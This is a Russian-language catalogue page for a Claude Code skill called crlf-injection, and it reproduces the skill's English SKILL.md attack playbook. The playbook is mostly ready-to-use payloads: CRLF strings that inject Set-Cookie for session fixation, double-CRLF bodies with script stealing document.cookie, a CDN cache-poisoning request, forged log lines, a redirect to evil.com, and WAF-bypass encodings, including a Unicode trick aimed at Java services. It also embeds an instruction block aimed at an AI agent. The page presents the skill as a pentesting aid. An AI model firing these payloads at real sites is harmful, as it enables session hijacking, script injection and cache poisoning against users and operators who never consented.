К основному содержанию
скилл CX Codex

crlf-injection — скилл для Claude Code: CRLF-инъекции в веб-приложения

Плейбук по CRLF-инъекциям: подстановка символов возврата каретки и перевода строки в заголовки ответа, редиректы и логи. Пригодится на пентесте, когда сканеры молчат.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill crlf-injection -a claude-code
Открыть на GitHub

Что делает crlf-injection

Скилл описывает атаки класса HTTP response splitting. Если пользовательский ввод попадает в заголовки ответа, Location, значения Set-Cookie или в лог-файлы без очистки, символы \r\n позволяют дописать новые заголовки или даже тело ответа. Внутри — базовые пробы вида %0D%0ANew-Header:injected, двойной CRLF для инъекции тела и сценарии эксплуатации: фиксация сессии через Set-Cookie, XSS через тело ответа, отравление кэша CDN и подделка записей в логах через User-Agent.

Отдельный раздел — обход фильтров. Если %0D%0A блокируется, плейбук предлагает одиночные %0D и %0A, двойное кодирование %250D%250A, юникод-последовательность %E5%98%8A%E5%98%8D и инъекцию в имя параметра вместо значения. Есть таблица уязвимых шаблонов кода на PHP, Python, Node.js и Java. Для Java-сервисов, где WAF режет %0D%0A, скилл перенаправляет на соседний ghost-bits-cast-attack с подстановкой символов U+760D и U+760A.

В конце — чек-лист из восьми пунктов: параметры редиректа, пути Set-Cookie, двойной CRLF, обходы кодирования, кэшируемость ответа, логи, фиксация сессии, инъекция в Location при 302. Это инструмент для проверки своих приложений или работы по договору — не для чужих сайтов без разрешения.

Какие задачи решает

  • проверить, отражается ли ввод в заголовках ответа без очистки
  • дописать заголовок Set-Cookie через параметр редиректа
  • вытащить XSS через инъекцию тела ответа двойным CRLF
  • отравить кэш CDN поддельным ответом
  • подделать записи в логах через User-Agent

Примеры запросов агенту

  • проверь параметр url на CRLF-инъекцию: подставь %0D%0AX-Injected:true и посмотри заголовки ответа
  • попробуй двойной CRLF для инъекции тела и XSS в этом редиректе
  • WAF блокирует %0D%0A — какие обходы есть для Java-сервиса?

Как установить crlf-injection

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill crlf-injection -a claude-code

2Вручную: положить файлы

~/.claude/skills/crlf-injection/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/crlf-injection/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о crlf-injection

Как установить crlf-injection в Claude?

Выполните npx skills add yaklang/hack-skills --skill crlf-injection -a claude-code. Скилл встанет в ~/.claude/skills/crlf-injection/SKILL.md.

Что делает crlf-injection?

Это плейбук по CRLF-инъекциям: пробы, сценарии эксплуатации через Set-Cookie, тело ответа и кэш, обходы фильтров и чек-лист проверки.

Что нужно, если WAF блокирует %0D%0A?

Скилл предлагает одиночные %0D и %0A, двойное кодирование и юникод-последовательность. Для Java-сервисов он перенаправляет на ghost-bits-cast-attack.

Исходный текст

SKILL.md · MIT
---
name: crlf-injection
description: >-
  CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
---

# SKILL: CRLF Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.

## 0. RELATED ROUTING

- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java service** and `%0D%0A` / `\r\n` encodings are WAF-blocked — substituting `瘍` (U+760D, low byte `\r`) and `瘊` (U+760A, low byte `\n`) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)

## 1. CORE CONCEPT

CRLF = `\r\n` (Carriage Return + Line Feed, `%0D%0A`). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.

```
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
```

---

## 2. DETECTION

### Basic Probe

```text
%0D%0ANew-Header:injected

# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true

# Check response headers for "X-Injected: true"
```

### Double CRLF — Body Injection

Two consecutive CRLF sequences end headers and start body:

```text
%0D%0A%0D%0A<script>alert(1)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(1)</script>
```

---

## 3. EXPLOITATION SCENARIOS

### Session Fixation via Set-Cookie

```text
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
```

### XSS via Response Body

```text
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
```

### Cache Poisoning

If the response is cached by a CDN or proxy, injected headers/body are served to all users:

```text
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
```

### Log Injection

CRLF in log-visible fields (User-Agent, Referer) can forge log entries:

```text
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
```

---

## 4. FILTER BYPASS

| Filter | Bypass |
|---|---|
| Blocks `%0D%0A` | Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode) |
| URL decodes once | Double-encode: `%250D%250A` |
| Strips `\r\n` literally | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |

```text
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D  → decoded as CRLF in some parsers

# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF

# Partial injection (LF only):
%0A → some servers accept LF without CR
```

---

## 5. REAL-WORLD EXPLOITATION CHAINS

### CRLF + Session Fixation

```text
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id

# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id

# Victim uses attacker's session → attacker hijacks after login
```

### CRLF → XSS via Double CRLF Body Injection

```text
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(document.cookie)</script>
```

### CRLF in 302 Location → Redirect Hijack

```text
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A

# Some servers use the LAST Location header → redirect to evil.com
```

---

## 6. COMMON VULNERABLE PATTERNS

```php
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);

// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))

// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);

// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));
```

---

## 7. TESTING CHECKLIST

```
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses
```

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
ctf-web ljagiello Скилл направляет агента при решении веб-задач в CTF: от разведки инъекций и обхода авторизации до SSRF и фаззинга API. CX Codex +1 9 700установок testing-for-xxe-injection-vulnerabilities mahipal Скилл ведёт агента по шагам проверки XXE-инъекций: чтение файлов сервера, SSRF и вынос данных при авторизованном пентесте. CX Codex +1 311установок testing-for-host-header-injection mahipal Проверяет веб-приложение на инъекции HTTP-заголовка Host и связанные риски сброса пароля, отравления кэша, SSRF и маршрутизации виртуальных хостов. CX Codex +1 306установок network-101 zebbern Скилл помогает агенту поднять и протестировать HTTP, HTTPS, SNMP и SMB в учебной лаборатории: от настройки сервисов до разбора логов. CX Codex +1 ★ 4 676звёзд репо caido-mode caido Скилл связывает агента с Caido: ищет запросы в истории по HTTPQL, гоняет curl через прокси и складывает находки в Replay-сессии. CX Codex +1 2 700установок fix-security-vulnerabilities-with-strix usestrix Скилл разбирает подтверждённые Strix-уязвимости, исправляет их причину и повторно запускает проверку. Подойдёт после CLI- или cloud-сканирования. CX Codex +1 15 700установок

Из того же набора93

http-host-header-attacks Плейбук по атакам на заголовок HTTP Host: отравление сброса пароля, кеша, SSRF и обход виртуальных хостов. Помогает проверять доверие приложений к внешним заголовкам. CX Codex +1 3 600установок web-cache-deception Скилл помогает проверять кэширование авторизованных страниц и искать условия для отравления кэша. Пригодится при аудите CDN, обратного прокси или кэширования приложения. CX Codex +1 3 600установок mobile-ssl-pinning-bypass Плейбук по обходу SSL pinning в мобильных приложениях: методы для Android и iOS, отдельные приёмы под Flutter, React Native и Xamarin. CX Codex +1 3 600установок insecure-source-code-management Находит забытые репозитории .git, .svn, .hg и открытые дампы конфигураций вроде .env. Помогает извлечь исходный код при авторизованном аудите безопасности. CX Codex +1 3 600установок symbolic-execution-tools Плейбук по символьному исполнению: помогает агенту писать рабочие скрипты на angr, Z3 и Unicorn для реверса бинарей и CTF. CX Codex +1 3 600установок browser-exploitation-v8 Плейбук по эксплуатации уязвимостей JavaScript-движка: JIT type confusion, обход границ массива, побег из песочницы V8. Для CTF и разбора багов Chrome. CX Codex +1 3 600установок csp-bypass-advanced Скилл для разбора слабых мест Content Security Policy: где политика не закрывает директиву, где можно увести данные без JavaScript. CX Codex +1 3 600установок race-condition Скилл для проверки веб-приложений на гонки и TOCTOU: параллельные запросы, обход лимитов, одноразовые операции. CX Codex +1 3 600установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой